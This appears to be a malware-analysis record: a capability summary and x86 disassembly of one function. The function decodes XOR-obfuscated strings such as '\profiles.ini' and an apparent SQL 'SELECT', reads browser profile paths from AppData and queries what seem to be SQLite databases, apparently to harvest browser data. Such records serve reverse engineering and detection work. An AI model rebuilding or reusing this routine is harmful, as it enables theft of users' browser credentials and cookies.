Function at 0x438a00
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get common file path
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x508fae
mov eax, dword fs:[0]
push eax
mov eax, 0x1498
mov dword fs:[0], esp
call fcn.004e0270
push ebx
mov ebx, ecx
push esi
mov dword [ebp - 0x154], ebx
push edi
mov dword [ebp - 0x10], 0
mov dword [ebp - 4], 2
lea ecx, [ebx + 8]
push 0
mov byte [ebx], 0
call fcn.0046c030
mov byte [ebp - 4], 1
sub esp, 8
mov dword [ebp - 0x10], 1
mov eax, esp
lea ecx, [ebp - 0x120]
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.004687e0
add esp, 8
mov byte [ebp - 4], 3
xor ecx, ecx
mov dword [ebp - 0xb8], 0x99819a90
mov dword [ebp - 0xb4], 0x9f9b9694
mov dword [ebp - 0xb0], 0x8c9795a3
mov dword [ebp - 0xac], 0x7a706e74
mov word [ebp - 0xa8], 0x100
lea ebx, [ebx]
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0xb8], al
inc ecx
cmp ecx, 0x10
jb 0x438ab0
lea eax, [ebp - 0xb8]
mov byte [ebp - 0xa7], 0
push eax
mov ecx, ebx
call fcn.0046e710
mov byte [ebp - 4], 1
mov edi, eax
mov cl, byte [ebp - 0x120]
mov dl, byte [edi]
mov byte [edi], cl
mov ecx, dword [ebp - 0x114]
mov eax, dword [ebp - 0x118]
mov byte [ebp - 0x120], dl
mov esi, dword [edi + 0xc]
mov edx, dword [edi + 8]
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x120]
mov dword [edi + 8], eax
mov dword [ebp - 0x118], edx
mov dword [ebp - 0x114], esi
call fcn.00468450
push 0x104
lea eax, [ebp - 0x4a0]
push 0
push eax
call fcn.004e14f0
add esp, 0xc
lea eax, [ebp - 0x4a0]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea ecx, [ebp - 0x4a0]
lea edx, [ecx + 1]
mov edi, edi
mov al, byte [ecx]
inc ecx
test al, al
jne 0x438b50
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x439f6a
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
jb 0x438b77
mov eax, dword [ebp + 8]
push edx
push eax
push ecx
lea eax, [ebp - 0x4a0]
push eax
push ecx
push dword [ebp - 0xc8]
lea ecx, [ebp - 0x1fc]
call fcn.004720e0
mov dword [ebp - 0x10], 0x101
mov byte [ebp - 4], 4
xor ecx, ecx
mov dword [ebp - 0xa0], 0x988485a8
mov dword [ebp - 0x9c], 0x9e96909e
mov dword [ebp - 0x98], 0x9197d38f
mov word [ebp - 0x94], 0x69
mov byte [ebp - 0x92], 1
mov edi, edi
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0xa0], al
inc ecx
cmp ecx, 0xd
jb 0x438bd0
lea ecx, [ebp - 0xa0]
mov byte [ebp - 0x92], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x438bf0
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x1ec]
sub eax, edx
cmp eax, ecx
jb 0x439f6f
cmp dword [ebp - 0x1e8], 0x10
lea eax, [ebp - 0x1fc]
jb 0x438c23
mov eax, dword [ebp - 0x1fc]
push ecx
lea ecx, [ebp - 0xa0]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0xc8]
lea ecx, [ebp - 0x1e0]
call fcn.004720e0
mov ebx, 0x181
mov dword [ebp - 0x10], ebx
push 0x1000
lea eax, [ebp - 0x14a0]
mov byte [ebp - 4], 5
push 0
push eax
call fcn.004e14f0
add esp, 0xc
lea eax, [ebp - 0x1e0]
cmp dword [ebp - 0x1cc], 0x10
jb 0x438c76
mov eax, dword [ebp - 0x1e0]
push eax
push 0x1000
lea eax, [ebp - 0x14a0]
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
lea esi, [ebp - 0x14a0]
mov dword [ebp - 0x12c], esi
jmp 0x438ca0
mov dword [ebp - 0xd1], 0x919987a4
xor ecx, ecx
mov dword [ebp - 0xcd], 0x9f9591
mov byte [ebp - 0xc9], 1
lea ecx, [ecx]
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0xd1], al
inc ecx
cmp ecx, 7
jb 0x438cc0
push 7
lea eax, [ebp - 0xd1]
mov byte [ebp - 0xc9], 0
push eax
push esi
call fcn.004ecaee
add esp, 0xc
test eax, eax
jne 0x439e7f
push 0x104
push eax
lea eax, [ebp - 0x398]
push eax
call fcn.004e14f0
add esp, 0xc
lea edx, [ebp - 0x1e0]
cmp dword [ebp - 0x1cc], 0x10
jb 0x438d1b
mov edx, dword [ebp - 0x1e0]
mov dword [ebp - 0x8a], 0x9f8294a4
xor ecx, ecx
mov word [ebp - 0x86], 0x100
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x8a], al
inc ecx
cmp ecx, 4
jb 0x438d30
push edx
push 0x104
lea eax, [ebp - 0x398]
mov byte [ebp - 0x85], 0
push eax
push 0
lea eax, [ebp - 0x8a]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea ecx, [ebp - 0x7e]
mov word [ebp - 0x7e], 0x5c
mov byte [ebp - 0x7c], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x438d74
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x1ec]
sub eax, edx
cmp eax, ecx
jb 0x439f6a
cmp dword [ebp - 0x1e8], 0x10
lea eax, [ebp - 0x1fc]
jb 0x438da7
mov eax, dword [ebp - 0x1fc]
push ecx
lea ecx, [ebp - 0x7e]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0xc8]
lea ecx, [ebp - 0x16c]
call fcn.004720e0
or ebx, 0x10
mov dword [ebp - 0x10], ebx
lea eax, [ebp - 0x398]
mov byte [ebp - 4], 6
push eax
lea ecx, [ebp - 0x16c]
call fcn.0046a480
or ebx, 8
mov dword [ebp - 0x10], ebx
mov ecx, dword [eax]
mov dword [ebp - 0x130], ecx
mov dword [ebp - 0x21c], ecx
mov ecx, dword [eax + 4]
mov dword [ebp - 0x218], ecx
mov ecx, dword [eax + 8]
mov dword [ebp - 0x214], ecx
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0x210], ecx
mov ecx, dword [eax + 0x10]
mov dword [ebp - 0x194], ecx
mov dword [ebp - 0x20c], ecx
mov ecx, dword [eax + 0x14]
mov dword [ebp - 0x138], ecx
mov dword [ebp - 0x208], ecx
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x158]
cmp ecx, 0x10
jb 0x438e78
mov edx, dword [ebp - 0x16c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x438e6e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x439f74
push ecx
push edx
call fcn.004df511
add esp, 8
xor eax, eax
mov dword [ebp - 0x15c], 0
lea ecx, [ebp - 0x398]
mov dword [ebp - 0x158], 0xf
mov byte [ebp - 0x16c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x10c], eax
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x104], eax
mov dword [ebp - 0x100], eax
mov dword [ebp - 0xfc], eax
mov dword [ebp - 0xf8], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x438ec2
sub ecx, edx
lea eax, [ebp - 0x398]
push ecx
push eax
lea ecx, [ebp - 0x10c]
call fcn.00402ae0
mov byte [ebp - 4], 9
lea edi, [ebp - 0x10c]
cmp dword [ebp - 0xf8], 0x10
mov ebx, dword [ebp - 0x10c]
jb 0x438ef9
mov edi, ebx
mov esi, dword [ebp - 0xfc]
test esi, esi
je 0x43900a
push esi
push 0x2f
push edi
call fcn.004e2ce0
add esp, 0xc
test eax, eax
je 0x43900a
sub eax, edi
cmp eax, 0xffffffff
je 0x43900a
sub esp, 0x18
mov word [ebp - 0x81], 0x2f
mov edx, esp
mov byte [ebp - 0x7f], 0
xor eax, eax
mov dword [ebp - 0x1e4], esp
lea ecx, [ebp - 0x81]
lea esi, [ecx + 1]
mov dword [edx], eax
mov dword [edx + 4], eax
mov dword [edx + 8], eax
mov dword [edx + 0xc], eax
mov dword [edx + 0x10], eax
mov dword [edx + 0x14], eax
lea ebx, [ebx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x438f60
sub ecx, esi
lea eax, [ebp - 0x81]
push ecx
push eax
mov ecx, edx
call fcn.00402ae0
sub esp, 0x18
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0x10c]
mov ecx, esp
push eax
call fcn.0046a770
lea ecx, [ebp - 0x228]
mov byte [ebp - 4], 9
call fcn.0040ab40
add esp, 0x30
mov byte [ebp - 4], 0xb
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x224]
mov esi, dword [ebp - 0x228]
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x438fef
lea eax, [eax + eax*2]
lea eax, [eax - 3]
lea eax, [esi + eax*8]
lea ecx, [ebp - 0x10c]
cmp ecx, eax
je 0x438fef
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x438fe2
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0x10c]
call fcn.0046a350
lea ecx, [ebp - 0x228]
mov byte [ebp - 4], 9
call fcn.0046c860
mov esi, dword [ebp - 0xfc]
mov ebx, dword [ebp - 0x10c]
cmp dword [ebp - 0xf8], 0x10
lea edi, [ebp - 0x10c]
jb 0x43901b
mov edi, ebx
test esi, esi
je 0x43911e
push esi
push 0x5c
push edi
call fcn.004e2ce0
add esp, 0xc
test eax, eax
je 0x43911e
sub eax, edi
cmp eax, 0xffffffff
je 0x43911e
sub esp, 0x18
mov word [ebp - 0x84], 0x5c
mov edx, esp
mov byte [ebp - 0x82], 0
xor eax, eax
mov dword [ebp - 0x134], esp
lea ecx, [ebp - 0x84]
lea esi, [ecx + 1]
mov dword [edx], eax
mov dword [edx + 4], eax
mov dword [edx + 8], eax
mov dword [edx + 0xc], eax
mov dword [edx + 0x10], eax
mov dword [edx + 0x14], eax
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x439080
sub ecx, esi
lea eax, [ebp - 0x84]
push ecx
push eax
mov ecx, edx
call fcn.00402ae0
sub esp, 0x18
mov byte [ebp - 4], 0xc
lea eax, [ebp - 0x10c]
mov ecx, esp
push eax
call fcn.0046a770
lea ecx, [ebp - 0xa0]
mov byte [ebp - 4], 9
call fcn.0040ab40
add esp, 0x30
mov byte [ebp - 4], 0xd
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x9c]
mov esi, dword [ebp - 0xa0]
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x43910f
lea eax, [eax + eax*2]
lea eax, [eax - 3]
lea eax, [esi + eax*8]
lea ecx, [ebp - 0x10c]
cmp ecx, eax
je 0x43910f
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x439102
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0x10c]
call fcn.0046a350
lea ecx, [ebp - 0xa0]
mov byte [ebp - 4], 9
call fcn.0046c860
mov dword [ebp - 0xee], 0x969a85a8
xor ecx, ecx
mov dword [ebp - 0xea], 0xd5899c9b
mov dword [ebp - 0xe6], 0x96928c8f
mov dword [ebp - 0xe2], 0x1006474
jmp 0x439150
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0xee], al
inc ecx
cmp ecx, 0xe
jb 0x439150
lea ecx, [ebp - 0xee]
mov byte [ebp - 0xdf], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x439170
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x194]
sub eax, edx
cmp eax, ecx
jb 0x439f6a
cmp dword [ebp - 0x138], 0x10
lea eax, [ebp - 0x21c]
jb 0x4391a3
mov eax, dword [ebp - 0x130]
push ecx
lea ecx, [ebp - 0xee]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x134]
lea ecx, [ebp - 0x1c8]
call fcn.004720e0
mov ebx, dword [ebp - 0x10]
or ebx, 0x20
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x2d], 0x1009786
xor ecx, ecx
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x2d], al
inc ecx
cmp ecx, 2
jb 0x4391d1
cmp dword [ebp - 0x1b4], 0x10
lea eax, [ebp - 0x1c8]
mov byte [ebp - 0x2a], 0
jb 0x4391f7
mov eax, dword [ebp - 0x1c8]
lea ecx, [ebp - 0x2d]
push ecx
push eax
call fcn.004e5362
add esp, 8
test eax, eax
je 0x439d89
push eax
call fcn.004e8be8
add esp, 4
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x188]
push 0
mov byte [ebp - 0x190], 0
call fcn.0046c030
sub esp, 8
mov byte [ebp - 4], 0x10
mov eax, esp
lea ecx, [ebp - 0x1b0]
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.004687e0
add esp, 8
mov byte [ebp - 4], 0x11
mov al, byte [ebp - 0x190]
test al, al
jne 0x4392c5
push 8
mov byte [ebp - 0x190], 1
call fcn.004df290
mov esi, eax
add esp, 4
lea eax, [ebp - 0x121]
mov dword [ebp - 0x200], esi
mov dword [ebp - 0x204], eax
mov byte [ebp - 4], 0x12
push 0x38
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.004df290
mov byte [ebp - 4], 0x11
add esp, 4
mov dword [ebp - 0x200], 0
mov dword [ebp - 0x188], esi
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [esi], eax
jmp 0x4392d3
cmp al, 1
jne 0x439f7e
mov esi, dword [ebp - 0x188]
lea eax, [ebp - 0x10c]
mov ecx, esi
push eax
call fcn.0046c240
mov byte [ebp - 4], 0x10
mov edi, eax
mov cl, byte [ebp - 0x1b0]
mov dl, byte [edi]
mov byte [edi], cl
mov ecx, dword [ebp - 0x1a4]
mov eax, dword [ebp - 0x1a8]
mov byte [ebp - 0x1b0], dl
mov esi, dword [edi + 0xc]
mov edx, dword [edi + 8]
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x1b0]
mov dword [edi + 8], eax
mov dword [ebp - 0x1a8], edx
mov dword [ebp - 0x1a4], esi
call fcn.00468450
cmp dword [ebp - 0x1b4], 0x10
lea ecx, [ebp - 0x1c8]
jb 0x43933b
mov ecx, dword [ebp - 0x1c8]
lea edx, [ebp - 0x128]
call fcn.00413aa0
test eax, eax
jne 0x439d2c
mov dword [ebp - 0x7b], 0xb2bab0a7
xor ecx, ecx
mov dword [ebp - 0x77], 0x8bdaadbb
mov dword [ebp - 0x73], 0x9a9d9c90
mov dword [ebp - 0x6f], 0x2f66685f
mov dword [ebp - 0x6b], 0x69696624
mov dword [ebp - 0x67], 0x7f646c7c
mov dword [ebp - 0x63], 0x405c4b2c
mov dword [ebp - 0x5f], 0x7c7f315d
mov dword [ebp - 0x5b], 0x79774a6e
mov dword [ebp - 0x57], 0x3b697676
mov dword [ebp - 0x53], 0x4d5b554b
mov dword [ebp - 0x4f], 0x430a0165
mov dword [ebp - 0x4b], 0x48484b45
mov dword [ebp - 0x47], 0x5f5e4877
mov dword [ebp - 0x43], 0x5a4c445e
mov dword [ebp - 0x3f], 0x5a6d5444
mov dword [ebp - 0x3b], 0xa165550
mov dword [ebp - 0x37], 0x130818
mov byte [ebp - 0x33], 1
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x7b], al
inc ecx
cmp ecx, 0x47
jb 0x4393d2
mov ecx, dword [ebp - 0x128]
lea eax, [ebp - 0xf4]
push 0
push eax
push 0
push 1
push 0xffffffffffffffff
lea edx, [ebp - 0x7b]
mov byte [ebp - 0x33], 0
call fcn.004c5530
add esp, 0x14
test eax, eax
jne 0x439d21
mov ebx, dword [ebp - 0xf4]
mov ecx, ebx
call fcn.004a2b90
cmp eax, 0x64
jne 0x439cab
test ebx, ebx
je 0x439470
cmp dword [ebx + 0x2c], 0
je 0x43944b
xor eax, eax
cmp ax, word [ebx + 0x30]
jae 0x43944b
mov eax, dword [ebx]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x439446
push eax
call dword [0x534f60]
add esp, 4
mov ecx, dword [ebx + 0x2c]
jmp 0x439475
mov eax, dword [ebx]
test eax, eax
je 0x439470
mov eax, dword [eax + 0x44]
test eax, eax
je 0x439462
push eax
call dword [0x534f60]
add esp, 4
push 0
push 0x19
push dword [ebx]
call fcn.00492380
add esp, 0xc
mov ecx, 0x520308
mov dl, 1
call fcn.0049fe00
mov edi, eax
test ebx, ebx
je 0x43952e
mov esi, dword [ebx]
mov ecx, dword [ebx + 0x64]
test esi, esi
je 0x4394bc
cmp byte [esi + 0x1e], 0
jne 0x43949f
mov eax, esi
cmp ecx, 0xc0a
jne 0x4394b7
push 0
push 7
push esi
call fcn.00492380
mov byte [esi + 0x1e], 0
add esp, 0xc
mov eax, dword [ebx]
mov ecx, 7
mov edx, dword [esi + 0x18]
jmp 0x4394c3
mov edx, 0xff
mov eax, esi
and ecx, edx
mov dword [ebx + 0x64], ecx
mov eax, dword [eax + 0x44]
test eax, eax
je 0x4394d9
push eax
call dword [0x534f68]
add esp, 4
test ebx, ebx
je 0x43952e
cmp dword [ebx + 0x2c], 0
je 0x439509
mov eax, 1
cmp ax, word [ebx + 0x30]
jae 0x439509
mov eax, dword [ebx]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x439501
push eax
call dword [0x534f60]
add esp, 4
mov ecx, dword [ebx + 0x2c]
add ecx, 0x28
jmp 0x439533
mov eax, dword [ebx]
test eax, eax
je 0x43952e
mov eax, dword [eax + 0x44]
test eax, eax
je 0x439520
push eax
call dword [0x534f60]
add esp, 4
push 0
push 0x19
push dword [ebx]
call fcn.00492380
add esp, 0xc
mov ecx, 0x520308
mov dl, 1
call fcn.0049fe00
mov dword [ebp - 0x130], eax
test ebx, ebx
je 0x439597
mov esi, dword [ebx]
mov ecx, dword [ebx + 0x64]
test esi, esi
je 0x43957a
cmp byte [esi + 0x1e], 0
jne 0x43955d
mov edx, esi
cmp ecx, 0xc0a
jne 0x439575
push 0
push 7
push esi
call fcn.00492380
mov byte [esi + 0x1e], 0
add esp, 0xc
mov edx, dword [ebx]
mov ecx, 7
mov eax, dword [esi + 0x18]
jmp 0x439581
mov eax, 0xff
mov edx, esi
and eax, ecx
mov dword [ebx + 0x64], eax
mov eax, dword [edx + 0x44]
test eax, eax
je 0x439597
push eax
call dword [0x534f68]
add esp, 4
xor eax, eax
mov word [ebp - 0xde], 0x29
mov ecx, edi
mov byte [ebp - 0xdc], 0
mov dword [ebp - 0x16c], eax
mov dword [ebp - 0x168], eax
mov dword [ebp - 0x164], eax
mov dword [ebp - 0x160], eax
lea edx, [ecx + 1]
mov dword [ebp - 0x15c], eax
mov dword [ebp - 0x158], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4395d2
sub ecx, edx
push ecx
push edi
lea ecx, [ebp - 0x16c]
call fcn.00402ae0
mov byte [ebp - 4], 0x15
xor ecx, ecx
mov dword [ebp - 0x5d], 0xb2bab0a7
mov dword [ebp - 0x59], 0x8edaadbb
mov dword [ebp - 0x55], 0xb9de918e
mov dword [ebp - 0x51], 0x234f4e52
mov dword [ebp - 0x4d], 0x587c6a69
mov dword [ebp - 0x49], 0x686b6578
mov dword [ebp - 0x45], 0x582e7e69
mov dword [ebp - 0x41], 0x56405458
mov dword [ebp - 0x3d], 0x7e763d34
mov dword [ebp - 0x39], 0x263a797c
mov word [ebp - 0x35], 0x3c
mov byte [ebp - 0x33], 1
mov edi, edi
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x5d], al
inc ecx
cmp ecx, 0x29
jb 0x439640
lea eax, [ebp - 0x16c]
mov byte [ebp - 0x33], 0
push eax
lea edx, [ebp - 0x5d]
lea ecx, [ebp - 0x240]
call fcn.0046e530
add esp, 4
lea ecx, [ebp - 0xde]
mov byte [ebp - 4], 0x16
push ecx
mov ecx, eax
call fcn.0046a480
or dword [ebp - 0x10], 4
mov edx, eax
xor eax, eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov ecx, dword [edx]
mov dword [ebp - 0x28], ecx
mov eax, dword [edx + 4]
mov dword [ebp - 0x24], eax
mov eax, dword [edx + 8]
mov dword [ebp - 0x20], eax
mov eax, dword [edx + 0xc]
mov dword [ebp - 0x1c], eax
mov eax, dword [edx + 0x10]
mov dword [ebp - 0x18], eax
mov eax, dword [edx + 0x14]
mov dword [ebp - 0x14], eax
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov byte [edx], 0
mov byte [ebp - 4], 0x17
lea edx, [ebp - 0x28]
cmp dword [ebp - 0x14], 0x10
jb 0x4396d9
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x128]
lea eax, [ebp - 0xc8]
push 0
push eax
push 0
push 1
push 0xffffffffffffffff
call fcn.004c5530
add esp, 0x14
mov byte [ebp - 4], 0x16
mov ecx, dword [ebp - 0x14]
test eax, eax
sete bl
cmp ecx, 0x10
jb 0x439733
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x439729
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x439f74
push ecx
push edx
call fcn.004df511
add esp, 8
mov byte [ebp - 4], 0x15
mov ecx, dword [ebp - 0x22c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
cmp ecx, 0x10
jb 0x439783
mov edx, dword [ebp - 0x240]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x439779
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x439f74
push ecx
push edx
call fcn.004df511
add esp, 8
mov byte [ebp - 4], 0x10
mov ecx, dword [ebp - 0x158]
mov dword [ebp - 0x230], 0
mov dword [ebp - 0x22c], 0xf
mov byte [ebp - 0x240], 0
cmp ecx, 0x10
jb 0x4397dc
mov edx, dword [ebp - 0x16c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4397d2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x439f74
push ecx
push edx
call fcn.004df511
add esp, 8
test bl, bl
je 0x439c95
mov ebx, dword [ebp - 0xc8]
mov ecx, ebx
call fcn.004a2b90
cmp eax, 0x64
jne 0x439c95
lea ebx, [ebx]
test ebx, ebx
je 0x43984f
cmp dword [ebx + 0x2c], 0
je 0x43982a
xor eax, eax
cmp ax, word [ebx + 0x30]
jae 0x43982a
mov eax, dword [ebx]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x439825
push eax
call dword [0x534f60]
add esp, 4
mov ecx, dword [ebx + 0x2c]
jmp 0x439854
mov eax, dword [ebx]
test eax, eax
je 0x43984f
mov eax, dword [eax + 0x44]
test eax, eax
je 0x439841
push eax
call dword [0x534f60]
add esp, 4
push 0
push 0x19
push dword [ebx]
call fcn.00492380
add esp, 0xc
mov ecx, 0x520308
mov dl, 1
call fcn.0049fe00
mov edi, eax
test ebx, ebx
je 0x4398b4
mov esi, dword [ebx]
mov ecx, dword [ebx + 0x64]
test esi, esi
je 0x439897
cmp byte [esi + 0x1e], 0
jne 0x43987a
mov edx, esi
cmp ecx, 0xc0a
jne 0x439892
push 0
push 7
push esi
call fcn.00492380
mov byte [esi + 0x1e], 0
add esp, 0xc
mov edx, dword [ebx]
mov ecx, 7
mov eax, dword [esi + 0x18]
jmp 0x43989e
mov eax, 0xff
mov edx, esi
and eax, ecx
mov dword [ebx + 0x64], eax
mov eax, dword [edx + 0x44]
test eax, eax
je 0x4398b4
push eax
call dword [0x534f68]
add esp, 4
mov esi, dword [ebp - 0x130]
xor eax, eax
mov ecx, esi
mov dword [ebp - 0x138], edi
mov dword [ebp - 0x150], eax
mov dword [ebp - 0x14c], eax
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x144], eax
lea edx, [ecx + 1]
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x13c], eax
jmp 0x4398f0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4398f0
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x150]
call fcn.00402ae0
mov byte [ebp - 4], 0x18
xor ecx, ecx
mov dword [ebp - 0xc2], 0x929a9c92
mov dword [ebp - 0xbe], 0xd4d5d6c2
mov word [ebp - 0xba], 0x100
lea esp, [esp]
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0xc2], al
inc ecx
cmp ecx, 8
jb 0x439930
lea edx, [ebp - 0xc2]
mov byte [ebp - 0xb9], 0
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x439950
mov edi, dword [ebp - 0x150]
sub edx, ecx
cmp dword [ebp - 0x13c], 0x10
lea ecx, [ebp - 0x150]
setae byte [ebp - 0x29]
jb 0x439974
mov ecx, edi
mov esi, dword [ebp - 0x140]
lea eax, [ebp - 0xc2]
push edx
push eax
push 0
mov edx, esi
call fcn.0046feb0
add esp, 0xc
cmp eax, 0xffffffff
je 0x439a9d
mov dword [ebp - 0xdb], 0x929a9c92
xor ecx, ecx
mov dword [ebp - 0xd7], 0xd4d5d6c2
mov word [ebp - 0xd3], 0x100
jmp 0x4399c0
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0xdb], al
inc ecx
cmp ecx, 8
jb 0x4399c0
lea ecx, [ebp - 0xdb]
mov byte [ebp - 0xd2], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4399e0
xor eax, eax
sub ecx, edx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
cmp esi, ecx
jb 0x439f79
sub esi, ecx
cmp esi, 0xffffffff
jb 0x439a0f
or esi, 0xffffffff
cmp byte [ebp - 0x29], 0
lea eax, [ebp - 0x150]
je 0x439a1d
mov eax, edi
add eax, ecx
lea ecx, [ebp - 0x28]
push esi
push eax
call fcn.00402ae0
or dword [ebp - 0x10], 2
mov ecx, dword [ebp - 0x13c]
cmp ecx, 0x10
jb 0x439a67
mov edx, dword [ebp - 0x150]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x439a5d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x439f74
push ecx
push edx
call fcn.004df511
add esp, 8
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x150], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x14c], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x148], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x144], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x140], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x13c], eax
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0xb0]
push 0
mov byte [ebp - 0xb8], 0
call fcn.0046c030
mov byte [ebp - 4], 0x1a
lea edx, [ebp - 0x138]
xor eax, eax
mov byte [ebp - 0x180], 0
lea ecx, [ebp - 0x180]
mov dword [ebp - 0x178], eax
mov dword [ebp - 0x174], eax
call fcn.0047e810
mov byte [ebp - 4], 0x1b
xor eax, eax
mov dword [ebp - 0x32], 0x9a8781
mov byte [ebp - 0x2e], 1
lea ecx, [eax - 0xc]
xor byte [ebp + eax - 0x32], cl
inc eax
cmp eax, 3
jb 0x439af0
lea eax, [ebp - 0x32]
mov byte [ebp - 0x2e], 0
push eax
lea ecx, [ebp - 0xb8]
call fcn.0046e710
mov byte [ebp - 4], 0x1a
mov edi, eax
mov cl, byte [ebp - 0x180]
mov eax, dword [ebp - 0x178]
mov dl, byte [edi]
mov byte [edi], cl
mov ecx, dword [ebp - 0x174]
mov esi, dword [edi + 0xc]
mov byte [ebp - 0x180], dl
mov edx, dword [edi + 8]
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x180]
mov dword [edi + 8], eax
mov dword [ebp - 0x178], edx
mov dword [ebp - 0x174], esi
call fcn.00468450
push 0x18
mov byte [ebp - 0x120], 3
call fcn.004df290
mov esi, eax
add esp, 4
lea eax, [ebp - 0x122]
mov dword [ebp - 0x19c], esi
mov dword [ebp - 0x1a0], eax
lea eax, [ebp - 0x150]
mov byte [ebp - 4], 0x1c
push eax
mov ecx, esi
call fcn.0046a770
mov dword [ebp - 0x19c], 0
mov edi, dword [ebp - 0x19c]
mov dword [ebp - 0x118], esi
mov dword [ebp - 0x114], edi
mov byte [ebp - 4], 0x1d
xor ecx, ecx
mov dword [ebp - 0x90], 0x9f829484
mov word [ebp - 0x8c], 0x100
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x90], al
inc ecx
cmp ecx, 4
jb 0x439bc1
lea eax, [ebp - 0x90]
mov byte [ebp - 0x8b], 0
